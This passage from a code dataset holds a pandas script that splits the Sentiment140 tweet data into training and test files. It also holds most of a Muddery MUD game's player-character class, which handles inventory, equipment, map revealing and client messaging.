self.process.stdout.readline().strip()\n if not line:\n break\n self.output_callback(self, line, self.process.terminate)\n self.notifications += line + '\\n'","sub_path":"pycfiles/centinel-0.1.5.7.1-py2.7/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"337454522","text":"\"\"\"\nProgram splits original raw data into training and test csv file and saves them to resources\n\"\"\"\n\nimport argparse\nimport pandas as pd\n\n\ndef main(src_path, path_train, path_test, frac):\n print(\"### DATA SPLITTING ####\")\n\n print(f\"INFO: Reading data from '{src_path}'\")\n data_raw = pd.read_csv(src_path, names=[\"label\", \"id\", \"date\", \"query\", \"user\", \"text\"], encoding=\"ISO-8859–1\")\n\n print(f\"INFO: Splitting data using fraction {frac}\")\n data_training = data_raw.sample(frac=frac, random_state=42)\n data_testing = data_raw.drop(data_training.index)\n\n data_training = data_training.reset_index(drop=True, inplace=False)\n data_training.to_csv(path_train)\n print(f\"INFO: Training data saved to '{path_train}'\\n\"\n f\"INFO: Training data shape: {data_training.shape}\")\n\n data_testing = data_testing.reset_index(drop=True, inplace=False)\n data_testing.to_csv(path_test)\n print(f\"INFO: Test data saved to '{path_test}'\\n\"\n f\"INFO: Training data shape: {data_testing.shape}\")\n\n print(\"### ENDED DATA SPLITTING ####\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='DATA SPLITTING TOOL')\n parser.add_argument('-src', '--src_path', default=\"./resources/raw/Sentiment140.csv\",\n help='enter path to raw data')\n parser.add_argument('-tr', '--path_train', default=\"resources/raw/tweets_train.csv\",\n help='enter path where to save tweets for training')\n parser.add_argument('-te', '--path_test', default=\"resources/raw/tweets_test.csv\",\n help='enter path where to save tweets for testing')\n parser.add_argument('-f', '--frac', default=0.7, type=float,\n help='enter fraction used for training, i.e. 0.7')\n args = parser.parse_args()\n\n main(args.src_path, args.path_train, args.path_test, args.frac)\n","sub_path":"data_splitting.py","file_name":"data_splitting.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"86345091","text":"\"\"\"\nPlayer Characters\n\nPlayer Characters are (by default) Objects setup to be puppeted by Players.\nThey are what you \"see\" in game. The Character class in this module\nis setup to be the \"default\" character type created by the default\ncreation commands.\n\n\"\"\"\n\nimport ast, traceback\nfrom django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom evennia.scripts.scripthandler import ScriptHandler\nfrom evennia.commands.cmdsethandler import CmdSetHandler\nfrom evennia.utils.utils import lazy_property\nfrom evennia.utils import logger\nfrom evennia.comms.models import ChannelDB\nfrom muddery.server.server import Server\nfrom muddery.server.utils.quest_handler import QuestHandler\nfrom muddery.server.utils.statement_attribute_handler import StatementAttributeHandler\nfrom muddery.server.utils.exception import MudderyError\nfrom muddery.server.utils.localized_strings_handler import _\nfrom muddery.server.utils.game_settings import GAME_SETTINGS\nfrom muddery.server.utils.dialogue_handler import DIALOGUE_HANDLER\nfrom muddery.server.utils.defines import ConversationType\nfrom muddery.server.utils.defines import CombatType\nfrom muddery.server.database.worlddata.worlddata import WorldData\nfrom muddery.server.database.worlddata.default_skills import DefaultSkills\nfrom muddery.server.database.worlddata.honour_settings import HonourSettings\nfrom muddery.server.database.worlddata.default_objects import DefaultObjects\nfrom muddery.server.database.worlddata.element_properties import ElementProperties\nfrom muddery.server.database.worlddata.equipment_positions import EquipmentPositions\nfrom muddery.server.database.worlddata.character_states_dict import CharacterStatesDict\nfrom muddery.server.database.gamedata.character_info import CharacterInfo\nfrom muddery.server.mappings.element_set import ELEMENT\nfrom muddery.server.utils import defines\nfrom muddery.server.utils.data_field_handler import DataFieldHandler, ConstDataHolder\nfrom muddery.server.combat.combat_handler import COMBAT_HANDLER\nfrom muddery.server.database.gamedata.honours_mapper import HONOURS_MAPPER\nfrom muddery.server.database.gamedata.character_inventory import CharacterInventory\nfrom muddery.server.database.gamedata.character_equipments import CharacterEquipments\nfrom muddery.server.database.gamedata.character_info import CharacterInfo\nfrom muddery.server.database.gamedata.character_skills import CharacterSkills\nfrom muddery.server.database.gamedata.character_combat import CharacterCombat\nfrom muddery.server.database.gamedata.character_location import CharacterLocation\nfrom muddery.server.combat.match_pvp import MATCH_COMBAT_HANDLER\nfrom muddery.server.utils.object_states_handler import ObjectStatesHandler\nfrom muddery.server.database.gamedata.object_storage import DBObjectStorage\nfrom muddery.server.events.event_trigger import EventTrigger\n\n\nclass MudderyPlayerCharacter(ELEMENT(\"CHARACTER\")):\n \"\"\"\n The Character defaults to implementing some of its hook methods with the\n following standard functionality:\n\n at_basetype_setup - always assigns the DefaultCmdSet to this object type\n (important!)sets locks so character cannot be picked up\n and its commands only be called by itself, not anyone else.\n (to change things, use at_object_creation() instead)\n at_after_move - launches the \"look\" command\n at_post_puppet(player) - when Player disconnects from the Character, we\n store the current location, so the \"unconnected\" character\n object does not need to stay on grid but can be given a\n None-location while offline.\n at_pre_puppet - just before Player re-connects, retrieves the character's\n old location and puts it back on the grid with a \"charname\n has connected\" message echoed to the room\n\n \"\"\"\n element_type = \"PLAYER_CHARACTER\"\n element_name = _(\"Player Character\", \"elements\")\n model_name = \"player_characters\"\n\n def __init__(self):\n \"\"\"\n Initial the object.\n \"\"\"\n super(MudderyPlayerCharacter, self).__init__()\n\n self.pk = 0\n\n self.session = None\n self.account_id = None\n\n # character's equipments\n # equipments: {\n # equipment position: {\n # \"object_key\": object's key,\n # \"level\": object's level,\n # \"obj\": object's instance,\n # }\n self.equipments = {}\n\n def __str__(self):\n \"\"\"\n Print the character's name.\n :return:\n \"\"\"\n return \"%s(%s)\" % (self.get_name(), self.get_id())\n\n # initialize all handlers in a lazy fashion\n @lazy_property\n def event(self):\n return EventTrigger(self)\n\n @lazy_property\n def states(self):\n return ObjectStatesHandler(self.get_db_id(), DBObjectStorage)\n\n @lazy_property\n def cmdset(self):\n return CmdSetHandler(self, True)\n\n # cmdset_storage property handling\n def __cmdset_storage_get(self):\n \"\"\"getter\"\"\"\n return [settings.CMDSET_CHARACTER]\n\n def __cmdset_storage_set(self, value):\n \"\"\"setter\"\"\"\n pass\n\n def __cmdset_storage_del(self):\n \"\"\"deleter\"\"\"\n pass\n\n cmdset_storage = property(__cmdset_storage_get, __cmdset_storage_set, __cmdset_storage_del)\n\n def contents_get(self, exclude=None):\n \"\"\"\n Returns the contents of this object, i.e. all\n objects that has this object set as its location.\n This should be publically available.\n\n Args:\n exclude (Object): Object to exclude from returned\n contents list\n\n Returns:\n contents (list): List of contents of this Object.\n\n Notes:\n Also available as the `contents` property.\n\n \"\"\"\n return []\n\n def contents_set(self, *args):\n \"You cannot replace this property\"\n raise AttributeError(\n \"{}.contents is read-only. Use obj.move_to or \"\n \"obj.location to move an object here.\".format(self.__class__)\n )\n\n contents = property(contents_get, contents_set, contents_set)\n\n # initialize all handlers in a lazy fashion\n @lazy_property\n def quest_handler(self):\n return QuestHandler(self)\n\n # attributes used in statements\n @lazy_property\n def statement_attr(self):\n return StatementAttributeHandler(self)\n\n @lazy_property\n def body_data_handler(self):\n return DataFieldHandler(self)\n\n # @property body stores character's body properties before using equipments and skills.\n def __body_get(self):\n \"\"\"\n A non-attr_obj store (ndb: NonDataBase). Everything stored\n to this is guaranteed to be cleared when a server is shutdown.\n Syntax is same as for the _get_db_holder() method and\n property, e.g. obj.ndb.attr = value etc.\n \"\"\"\n try:\n return self._body_holder\n except AttributeError:\n self._body_holder = ConstDataHolder(self, \"body_properties\", manager_name='body_data_handler')\n return self._body_holder\n\n # @body.setter\n def __body_set(self, value):\n \"Stop accidentally replacing the ndb object\"\n string = \"Cannot assign directly to ndb object! \"\n string += \"Use self.body.name=value instead.\"\n raise Exception(string)\n\n # @body.deleter\n def __body_del(self):\n \"Stop accidental deletion.\"\n raise Exception(\"Cannot delete the body object!\")\n body = property(__body_get, __body_set, __body_del)\n\n def set_db_id(self, db_id):\n \"\"\"\n Set the id of the character's data in db.\n :param db_id:\n :return:\n \"\"\"\n self.db_id = db_id\n\n def get_db_id(self):\n \"\"\"\n Get the id of the character's data in db.\n\n :return:\n \"\"\"\n return self.db_id\n\n def set_level(self, level):\n \"\"\"\n Set element's level.\n :param level:\n :return:\n \"\"\"\n if self.level == level:\n return\n\n CharacterInfo.set_level(self.get_db_id(), level)\n super(MudderyPlayerCharacter, self).set_level(level)\n\n def setup_element(self, key, level=None, first_time=False, temp=False):\n \"\"\"\n Set element data's key.\n\n Args:\n key: (string) the key of the data.\n level: (int) element's level.\n \"\"\"\n if level is None:\n level = CharacterInfo.get_level(self.get_db_id())\n\n super(MudderyPlayerCharacter, self).setup_element(key, level, first_time)\n\n def at_element_setup(self, first_time):\n \"\"\"\n Called when the element is setting up.\n\n :arg\n first_time: (bool) the first time to setup the element.\n \"\"\"\n super(MudderyPlayerCharacter, self).at_element_setup(first_time)\n\n # load inventory\n self.load_inventory()\n\n # load equipments\n self.load_equipments()\n\n self.solo_mode = GAME_SETTINGS.get(\"solo_mode\")\n self.available_channels = {}\n self.current_dialogues = set()\n\n def after_element_setup(self, first_time):\n \"\"\"\n Called after the element is setting up.\n\n :arg\n first_time: (bool) the first time to setup the element.\n \"\"\"\n super(MudderyPlayerCharacter, self).after_element_setup(first_time)\n\n # if it is dead, reborn at init.\n if not self.is_alive():\n if not self.is_temp and self.reborn_time > 0:\n self.reborn()\n\n # load combat id\n self.combat_id = CharacterCombat.load(self.get_db_id(), None)\n\n def load_custom_level_data(self, element_type, element_key, level):\n \"\"\"\n Load body properties from db.\n \"\"\"\n # Get object level.\n super(MudderyPlayerCharacter, self).load_custom_level_data(element_type, element_key, level)\n\n # Set body values.\n for key, info in self.get_properties_info().items():\n value = self.const_data_handler.get(key)\n self.body_data_handler.add(key, value)\n\n def set_session(self, session):\n \"\"\"\n Set the client's session.\n :param session:\n :return:\n \"\"\"\n self.session = session\n\n def set_account_id(self, account_id):\n \"\"\"\n Set the player's account id.\n :param account_id:\n :return:\n \"\"\"\n self.account_id = account_id\n\n def get_account_id(self):\n \"\"\"\n Get the player's account id.\n :return:\n \"\"\"\n return self.account_id\n\n def move_to(self, location):\n \"\"\"\n Set the character's location(room).\n :param location: location's object\n :return:\n \"\"\"\n if self.location:\n # Trigger the moving out event.\n self.event.at_character_move_out(self.location)\n\n # save new location\n location_key = location.get_element_key() if location else \"\"\n CharacterLocation.save(self.get_db_id(), location_key)\n\n if self.location:\n self.location.at_character_leave(self)\n\n self.set_location(location)\n\n # Send new location's data to the character.\n location_name = self.location.name if location else \"\"\n self.msg({\"msg\": _(\"Moved to %s ...\") % location_name})\n self.show_location()\n\n if self.location:\n self.location.at_character_arrive(self)\n\n # Trigger the arrive event.\n if self.location:\n self.event.at_character_move_in(self.location)\n self.quest_handler.at_objective(defines.OBJECTIVE_ARRIVE, location_key)\n\n def at_post_puppet(self):\n \"\"\"\n Called just after puppeting has been completed and all\n Player<->Object links have been established.\n\n \"\"\"\n self.available_channels = self.get_available_channels()\n\n # send character's data to player\n message = {\n \"status\": self.return_status(),\n \"equipments\": self.return_equipments(),\n \"inventory\": self.return_inventory(),\n \"skills\": self.return_skills(),\n \"quests\": self.quest_handler.return_quests(),\n \"revealed_map\": self.get_revealed_map(),\n \"channels\": self.available_channels\n }\n self.msg(message)\n\n self.show_location()\n\n self.resume_last_dialogue()\n\n self.resume_combat()\n\n # Resume all scripts.\n #scripts = self.scripts.all()\n #for script in scripts:\n # script.unpause()\n\n def at_pre_unpuppet(self):\n \"\"\"\n Called just before beginning to un-connect a puppeting from\n this Player.\n \"\"\"\n # Pause all scripts.\n #scripts = self.scripts.all()\n #for script in scripts:\n # script.pause()\n\n if not self.solo_mode:\n # notify its location\n if self.location:\n self.location.at_character_leave(self)\n\n MATCH_COMBAT_HANDLER.remove(self)\n\n def refresh_states(self, keep_states):\n \"\"\"\n Refresh character's states.\n\n Args:\n keep_states (boolean): states values keep last values.\n \"\"\"\n # Load body properties.\n for key, value in self.body_data_handler.all().items():\n self.const_data_handler.add(key, value)\n\n if not keep_states:\n super(MudderyPlayerCharacter, self).refresh_states(False)\n\n # load equips\n self.wear_equipments()\n\n # load passive skills\n self.cast_passive_skills()\n\n super(MudderyPlayerCharacter, self).refresh_states(keep_states)\n\n def msg(self, text=None, options=None, **kwargs):\n \"\"\"\n Emits something to a session attached to the object.\n\n Args:\n text (str, optional): The message to send\n\n Notes:\n `at_msg_receive` will be called on this Object.\n All extra kwargs will be passed on to the protocol.\n \"\"\"\n if not self.session:\n return\n\n # Send messages to the client. Messages are in format of JSON.\n kwargs[\"options\"] = options\n\n # relay to session\n logger.log_info(\"Send message, %s: %s\" % (self.get_db_id(), text))\n self.session.msg(text=text, **kwargs)\n\n def get_level(self):\n \"\"\"\n Get the character's level.\n :return:\n \"\"\"\n return CharacterInfo.get_level(self.get_db_id())\n\n def set_nickname(self, nickname):\n \"\"\"\n Set player character's nickname.\n \"\"\"\n CharacterInfo.set_nickname(self.get_db_id(), nickname)\n\n def get_name(self):\n \"\"\"\n Get player character's name.\n \"\"\"\n # Use nick name instead of normal name.\n return CharacterInfo.get_nickname(self.get_db_id())\n\n def get_available_commands(self, caller):\n \"\"\"\n This returns a list of available commands.\n \"\"\"\n commands = []\n if self.is_alive():\n commands.append({\"name\": _(\"Attack\"), \"cmd\": \"attack\", \"args\": self.get_id()})\n return commands\n\n def get_available_channels(self):\n \"\"\"\n Get available channel's info.\n\n Returns:\n (dict) channels\n \"\"\"\n channels = {}\n channel = ChannelDB.objects.get_channel(settings.DEFAULT_CHANNELS[0][\"key\"])\n if channel.has_connection(self):\n channels[channel.key] = {\n \"type\": \"CHANNEL\",\n \"name\": _(\"Public\", category=\"channels\"),\n }\n\n return channels\n\n def get_revealed_map(self):\n \"\"\"\n Get the map that the character has revealed.\n Return value:\n {\n \"rooms\": {room1's key: {\"name\": name,\n \"icon\": icon,\n \"area\": area,\n \"pos\": position},\n room2's key: {\"name\": name,\n \"icon\": icon,\n \"area\": area,\n \"pos\": position},\n ...},\n \"exits\": {exit1's key: {\"from\": room1's key,\n \"to\": room2's key},\n exit2's key: {\"from\": room3's key,\n \"to\": room4's key},\n ...}\n }\n \"\"\"\n rooms = {}\n exits = {}\n\n revealed_map = self.states.load(\"revealed_map\", set())\n for room_key in revealed_map:\n # get room's information\n try:\n room = Server.world.get_room(room_key)\n area = Server.world.get_area_by_room(room_key)\n rooms[room_key] = {\"name\": room.get_name(),\n \"icon\": room.icon,\n \"area\": area.get_element_key(),\n \"pos\": room.position}\n new_exits = room.get_exits()\n if new_exits:\n exits.update(new_exits)\n except ObjectDoesNotExist:\n pass\n\n for path in exits.values():\n # add room's neighbours\n if not path[\"to\"] in rooms:\n try:\n neighbour_room = Server.world.get_room(path[\"to\"])\n neighbour_area = Server.world.get_area_by_room(path[\"to\"])\n rooms[neighbour_room.get_element_key()] = {\n \"name\": neighbour_room.get_name(),\n \"icon\": neighbour_room.icon,\n \"area\": neighbour_area.get_element_key(),\n \"pos\": neighbour_room.position\n }\n except ObjectDoesNotExist:\n pass\n\n return {\"rooms\": rooms, \"exits\": exits}\n\n def total_object_number(self, obj_key):\n \"\"\"\n Search specified object in the inventory.\n \"\"\"\n objects = [item[\"number\"] for item in self.inventory if item[\"object_key\"] == obj_key]\n total = sum(objects)\n for item in self.equipments.values():\n if item[\"object_key\"] == obj_key:\n total += 1\n\n return total\n\n def has_object(self, obj_key):\n \"\"\"\n Check specified object in the inventory.\n \"\"\"\n return self.total_object_number(obj_key) > 0\n\n def wear_equipments(self):\n \"\"\"\n Add equipment's attributes to the character\n \"\"\"\n # add equipment's attributes\n for item in self.equipments.values():\n item[\"obj\"].equip_to(self)\n\n def show_location(self):\n \"\"\"\n show character's location\n \"\"\"\n if not self.location:\n return\n\n location_key = self.location.get_element_key()\n area = Server.world.get_area_by_room(location_key)\n\n msg = {\n \"current_location\": {\n \"key\": location_key,\n \"area\": area.get_appearance(self),\n }\n }\n\n \"\"\"\n reveal_map:\n {\n \"rooms\": {room1's key: {\"name\": name,\n \"icon\": icon,\n \"area\": area,\n \"pos\": position},\n room2's key: {\"name\": name,\n \"icon\": icon,\n \"area\": area,\n \"pos\": position},\n ...},\n \"exits\": {exit1's key: {\"from\": room1's key,\n \"to\": room2's key},\n exit2's key: {\"from\": room3's key,\n \"to\": room4's key},\n ...}\n }\n \"\"\"\n revealed_map = self.states.load(\"revealed_map\", set())\n if not location_key in revealed_map:\n # reveal map\n revealed_map.add(self.location.get_element_key())\n self.states.save(\"revealed_map\", revealed_map)\n\n rooms = {\n location_key: {\n \"name\": self.location.get_name(),\n \"icon\": self.location.icon,\n \"area\": area.get_element_key(),\n \"pos\": self.location.position\n }\n }\n\n exits = self.location.get_exits()\n\n for path in exits.values():\n # add room's neighbours\n neighbour_key = path[\"to\"]\n if neighbour_key not in rooms:\n try:\n neighbour = Server.world.get_room(neighbour_key)\n neighbour_area = Server.world.get_area_by_room(neighbour_key)\n rooms[neighbour_key] = {\n \"name\": neighbour.get_name(),\n \"icon\": neighbour.icon,\n \"area\": neighbour_area.get_element_key(),\n \"pos\": neighbour.position\n }\n except ObjectDoesNotExist:\n pass\n\n msg[\"reveal_map\"] = {\"rooms\": rooms, \"exits\": exits}\n\n # get appearance\n appearance = self.location.get_appearance(self)\n appearance.update(self.location.get_surroundings(self))\n msg[\"look_around\"] = appearance\n\n self.msg(msg)\n\n def load_inventory(self):\n \"\"\"\n Load character's default objects.\n\n inventory: [\n {\n \"position\": position in the inventory,\n \"object_key\": object's key,\n \"number\": object's number,\n \"level\": object's level,\n \"obj\": object's instance,\n }\n ]\n \"\"\"\n inventory = CharacterInventory.get_character(self.get_db_id())\n self.inventory = [{\"position\": pos, **inventory[pos]} for pos in sorted(inventory)]\n\n # load object's data\n common_models = ELEMENT(\"POCKET_OBJECT\").get_models()\n for item in self.inventory:\n object_record = WorldData.get_tables_data(common_models, key=item[\"object_key\"])\n object_record = object_record[0]\n item.update({\n \"element_type\": object_record.element_type,\n \"can_remove\": object_record.can_remove,\n })\n\n # default objects\n object_records = DefaultObjects.get(self.get_element_key())\n\n # add new default objects\n obj_list = []\n for object_record in object_records:\n found = False\n for item in self.inventory:\n if object_record.object == item[\"object_key\"]:\n found = True\n break\n if not found:\n obj_list.append({\n \"object_key\": object_record.object,\n \"level\": object_record.level,\n \"number\": object_record.number,\n })\n\n if obj_list:\n self.receive_objects(obj_list, mute=True)\n\n def receive_object(self, object_key, number, level, mute=False):\n \"\"\"\n Add an object to the inventory.\n :param object_key:\n :param number:\n :param level:\n :param mute:\n :return:\n \"\"\"\n obj_list = [{\n \"object_key\": object_key,\n \"number\": number,\n \"level\": level\n }]\n return self.receive_objects(obj_list, mute)\n\n def receive_objects(self, obj_list, mute=False, show=True):\n \"\"\"\n Add objects to the inventory.\n\n Args:\n obj_list: (list) a list of object keys and there numbers.\n list item: {\"object_key\": object's key\n \"number\": object's number}\n mute: (boolean) do not send messages to the owner\n show: (boolean) show inventory\n\n Returns:\n (list) a list of objects that not have been received and their reasons.\n [{\n \"key\": key,\n \"name\": name,\n \"level\": level,\n \"number\": number,\n \"icon\": icon,\n \"reject\": reason,\n }]\n \"\"\"\n common_models = ELEMENT(\"POCKET_OBJECT\").get_models()\n\n objects = [] # objects that have been accepted\n for obj in obj_list:\n object_key = obj[\"object_key\"]\n level = obj.get(\"level\", None)\n available = obj[\"number\"]\n number = available\n accepted = 0\n reject = False\n\n try:\n object_record = WorldData.get_tables_data(common_models, key=object_key)\n object_record = object_record[0]\n except Exception as e:\n logger.log_err(\"Can not find object %s: %s\" % (object_key, e))\n continue\n\n inventory_obj_list = [index for index, item in enumerate(self.inventory) if item[\"object_key\"] == object_key]\n\n if number == 0:\n # it is an empty object\n if len(inventory_obj_list) > 0:\n # already has this object\n continue\n\n if object_record.can_remove:\n # remove this empty object\n continue\n\n # add a new content\n if len(self.inventory) > 0:\n position = self.inventory[-1][\"position\"] + 1\n else:\n position = 1\n\n new_obj = {\n \"position\": position,\n \"object_key\": object_key,\n \"level\": level,\n \"number\": number,\n \"element_type\": object_record.element_type,\n \"can_remove\": object_record.can_remove,\n }\n self.inventory.append(new_obj)\n CharacterInventory.add(self.get_db_id(), position, object_key, number, level)\n else:\n # common number\n if object_record.unique:\n # unique object\n if len(inventory_obj_list) > 0:\n item = self.inventory[inventory_obj_list[0]]\n # add object number\n current_number = item[\"number\"]\n add = number\n if add > object_record.max_stack - current_number:\n add = object_record.max_stack - current_number\n\n if add > 0:\n # increase stack number\n item[\"number\"] = current_number + add\n CharacterInventory.set_dict(self.get_db_id(), item[\"position\"], {\"number\": current_number + add})\n number -= add\n accepted += add\n else:\n reject = _(\"Can not get more %s.\") % object_record.name\n else:\n # Get the number that actually added.\n add = number\n if add > object_record.max_stack:\n add = object_record.max_stack\n\n # add a new object to the inventory\n if len(self.inventory) > 0:\n position = self.inventory[-1][\"position\"] + 1\n else:\n position = 1\n\n new_obj = {\n \"position\": position,\n \"object_key\": object_key,\n \"level\": level,\n \"number\": add,\n \"element_type\": object_record.element_type,\n \"can_remove\": object_record.can_remove,\n }\n self.inventory.append(new_obj)\n CharacterInventory.add(self.get_db_id(), position, object_key, add, level)\n\n number -= add\n accepted += add\n else:\n # not unique object\n # if already has this kind of object\n for index in inventory_obj_list:\n add = number\n item = self.inventory[index]\n current_number = item[\"number\"]\n\n if add > object_record.max_stack - current_number:\n add = object_record.max_stack - current_number\n\n if add > 0:\n # increase stack number\n item[\"number\"] = current_number + add\n CharacterInventory.set_dict(self.get_db_id(), item[\"position\"], {\"number\": current_number + add})\n\n number -= add\n accepted += add\n\n if number == 0:\n break\n\n # if does not have this kind of object, or stack is full\n while number > 0:\n if object_record.unique:\n # can not have more than one unique objects\n reject = _(\"Can not get more %s.\") % object_record.name\n break\n\n # Get the number that actually added.\n add = number\n if add > object_record.max_stack:\n add = object_record.max_stack\n\n # add a new object to the inventory\n if len(self.inventory) > 0:\n position = self.inventory[-1][\"position\"] + 1\n else:\n position = 1\n\n new_obj = {\n \"position\": position,\n \"object_key\": object_key,\n \"level\": level,\n \"number\": add,\n \"element_type\": object_record.element_type,\n \"can_remove\": object_record.can_remove,\n }\n self.inventory.append(new_obj)\n CharacterInventory.add(self.get_db_id(), position, object_key, add, level)\n\n number -= add\n accepted += add\n\n objects.append({\n \"key\": object_record.key,\n \"name\": object_record.name,\n \"icon\": object_record.icon,\n \"number\": accepted,\n \"reject\": reject,\n })\n\n if not mute:\n # Send results to the player.\n self.msg({\"get_objects\": objects})\n\n if show:\n self.show_inventory()\n\n # call quest handler\n for item in objects:\n if not item[\"reject\"]:\n self.quest_handler.at_objective(defines.OBJECTIVE_OBJECT, item[\"key\"], item[\"number\"])\n\n return objects\n\n def can_get_object(self, obj_key, number):\n \"\"\"\n Check if the character can get these objects.\n\n Args:\n obj_key: (String) object's key\n number: (int) object's number\n\n Returns:\n boolean: can get\n\n Notice:\n If the character does not have this object, the return will be always true,\n despite of the number!\n \"\"\"\n try:\n common_models = ELEMENT(\"POCKET_OBJECT\").get_models()\n object_record = WorldData.get_tables_data(common_models, key=obj_key)\n object_record = object_record[0]\n except Exception as e:\n return False\n\n total = sum([item[\"number\"] for item in self.inventory if obj_key == item[\"object_key\"]])\n if not total:\n return True\n\n if not object_record.unique:\n return True\n\n if total + number <= object_record.max_stack:\n return True\n\n return False\n\n def create_pocket_obj(self, element_type, object_key, level):\n \"\"\"\n Create a pocket object.\n :param item:\n :return:\n \"\"\"\n new_obj = ELEMENT(element_type)()\n new_obj.setup_element(object_key, level)\n return new_obj\n\n def use_object(self, position, number=1):\n \"\"\"\n Use an object.\n\n Args:\n position: (int) object's position in the inventory\n number: (int) number to use\n\n Returns:\n result: (string) the description of the result\n \"\"\"\n item = None\n for value in self.inventory:\n if value[\"position\"] == position:\n item = value\n break\n if not item:\n raise MudderyError(_(\"Can not find this object.\"))\n\n if item[\"number\"] < number:\n return _(\"Not enough number.\")\n\n # take effect\n try:\n if \"obj\" not in item or not item[\"obj\"]:\n item[\"obj\"] = self.create_pocket_obj(item[\"element_type\"], item[\"object_key\"], item[\"level\"])\n\n result, used = item[\"obj\"].take_effect(self, number)\n if used > 0:\n # remove used object\n self.remove_object_by_position(position, used, True)\n\n self.show_inventory()\n return result\n except Exception as e:\n ostring = \"Can not use %s: %s\" % (item[\"key\"], e)\n logger.log_tracemsg(ostring)\n\n return _(\"No effect.\")\n\n def remove_object_position_all(self, position, mute=False):\n \"\"\"\n Remove an object by its id.\n\n :param position:\n :param mute:\n :return:\n \"\"\"\n for index, item in enumerate(self.inventory):\n if item[\"position\"] == position:\n if item[\"can_remove\"]:\n CharacterInventory.remove_object(self.get_db_id(), position)\n del self.inventory[index]\n else:\n CharacterInventory.set_dict(self.get_db_id(), position, {\"number\": 0})\n item[\"number\"] = 0\n\n if not mute:\n self.show_inventory()\n\n return\n\n raise(MudderyError(_(\"Can not remove this object.\")))\n\n def remove_object_by_position(self, position, number, mute=False):\n \"\"\"\n Remove an object by its id.\n\n :param obj_id:\n :param mute:\n :return:\n \"\"\"\n for index, item in enumerate(self.inventory):\n if item[\"position\"] == position:\n obj_num = item[\"number\"]\n if obj_num > 0:\n if obj_num > number:\n CharacterInventory.set_dict(self.get_db_id(), position, {\"number\": obj_num - number})\n item[\"number\"] = obj_num - number\n else:\n if item[\"can_remove\"]:\n CharacterInventory.remove_object(self.get_db_id(), position)\n del self.inventory[index]\n else:\n CharacterInventory.set_dict(self.get_db_id(), position, {\"number\": 0})\n item[\"number\"] = 0\n\n if not mute:\n self.show_inventory()\n\n return\n\n raise(MudderyError(_(\"Can not remove this object.\")))\n\n def remove_objects(self, obj_list, mute=False, show=True):\n \"\"\"\n Remove objects from the inventory.\n\n Args:\n obj_list: (list) a list of object keys and there numbers.\n list item: {\"object\": object's key\n \"number\": object's number}\n\n Returns:\n boolean: success\n \"\"\"\n for item in obj_list:\n self.remove_object(item[\"object_key\"], item[\"number\"], True)\n\n if show:\n self.show_inventory()\n\n def remove_object(self, obj_key, number, mute=False):\n \"\"\"\n Remove objects from the inventory.\n\n Args:\n obj_key: object's key\n number: object's number\n mute: send inventory information\n\n Returns:\n boolean: success\n \"\"\"\n # Count objects in the inventory.\n total = sum([item[\"number\"] for item in self.inventory if obj_key == item[\"object_key\"]])\n if total < number:\n raise (MudderyError(_(\"Can not remove this object.\")))\n\n # remove objects\n to_remove = number\n try:\n index = 0\n while index < len(self.inventory):\n item = self.inventory[index]\n if item[\"object_key\"] != obj_key:\n index += 1\n continue\n\n deleted = False\n obj_num = item[\"number\"]\n if obj_num > 0:\n if obj_num > to_remove:\n # Reduce the object's number.\n CharacterInventory.set_dict(self.get_db_id(), item[\"position\"], {\"number\": obj_num - to_remove})\n item[\"number\"] = obj_num - to_remove\n to_remove = 0\n else:\n # Remove this object.\n if item[\"can_remove\"]:\n CharacterInventory.remove_object(self.get_db_id(), item[\"position\"])\n del self.inventory[index]\n else:\n CharacterInventory.set_dict(self.get_db_id(), item[\"position\"], {\"number\": 0})\n item[\"number\"] = 0\n\n to_remove -= obj_num\n deleted = True\n\n if to_remove == 0:\n break\n\n if not deleted:\n index += 1\n\n except Exception as e:\n logger.log_tracemsg(\"Can not remove object %s: %s\" % (obj_key, e))\n raise (MudderyError(_(\"Can not remove this object.\")))\n\n if to_remove > 0:\n logger.log_err(\"Remove object error: %s\" % obj_key)\n raise (MudderyError(_(\"Can not remove this object.\")))\n\n if not mute:\n self.show_inventory()\n\n def exchange_objects(self, remove_list, receive_list, mute=False, show=True):\n \"\"\"\n Exchange some objects to other objects.\n\n :param remove_list:\n :param receive_list:\n :param mute:\n :return:\n \"\"\"\n with self.states.atomic():\n self.remove_objects(remove_list, mute=True, show=False)\n self.receive_objects(receive_list, mute=True, show=False)\n\n if show:\n self.show_inventory()\n\n def show_inventory(self):\n \"\"\"\n Send inventory data to player.\n \"\"\"\n self.msg({\"inventory\": self.return_inventory()})\n\n def return_inventory(self):\n \"\"\"\n Get inventory's data.\n \"\"\"\n inv = []\n\n # load object's data\n common_models = ELEMENT(\"POCKET_OBJECT\").get_models()\n\n for item in self.inventory:\n object_record = WorldData.get_tables_data(common_models, key=item[\"object_key\"])\n object_record = object_record[0]\n\n info = {\n \"position\": item[\"position\"], # item's position\n \"number\": item[\"number\"], # item's number\n \"level\": item[\"level\"], # item's level\n \"can_remove\": item[\"can_remove\"],\n \"name\": object_record.name, # item's name\n \"desc\": object_record.desc, # item's desc\n \"icon\": object_record.icon, # item's icon\n }\n inv.append(info)\n\n return inv\n\n def return_inventory_object(self, position):\n \"\"\"\n Get inventory's data.\n \"\"\"\n for item in self.inventory:\n if item[\"position\"] == position:\n if \"obj\" not in item or not item[\"obj\"]:\n new_obj = ELEMENT(item[\"element_type\"])()\n new_obj.setup_element(item[\"object_key\"], item[\"level\"])\n item[\"obj\"] = new_obj\n\n appearance = item[\"obj\"].get_appearance(self)\n appearance[\"number\"] = item[\"number\"]\n appearance[\"position\"] = position\n\n # add a discard command\n if item[\"obj\"].can_discard():\n appearance[\"cmds\"].append({\n \"name\": _(\"Discard\"),\n \"cmd\": \"discard\",\n \"confirm\": _(\"Discard this object?\"),\n })\n return appearance\n\n def return_equipments_object(self, position):\n \"\"\"\n Get equipments data.\n \"\"\"\n if position in self.equipments:\n appearance = self.equipments[position][\"obj\"].get_appearance(self)\n\n # add a take off command, remove equip command\n commands = [c for c in appearance[\"cmds\"] if c[\"cmd\"] != \"equip\"]\n commands.append({\n \"name\": _(\"Take Off\"),\n \"cmd\": \"takeoff\",\n \"args\": {\n \"position\": position\n },\n })\n appearance[\"cmds\"] = commands\n\n return appearance\n\n 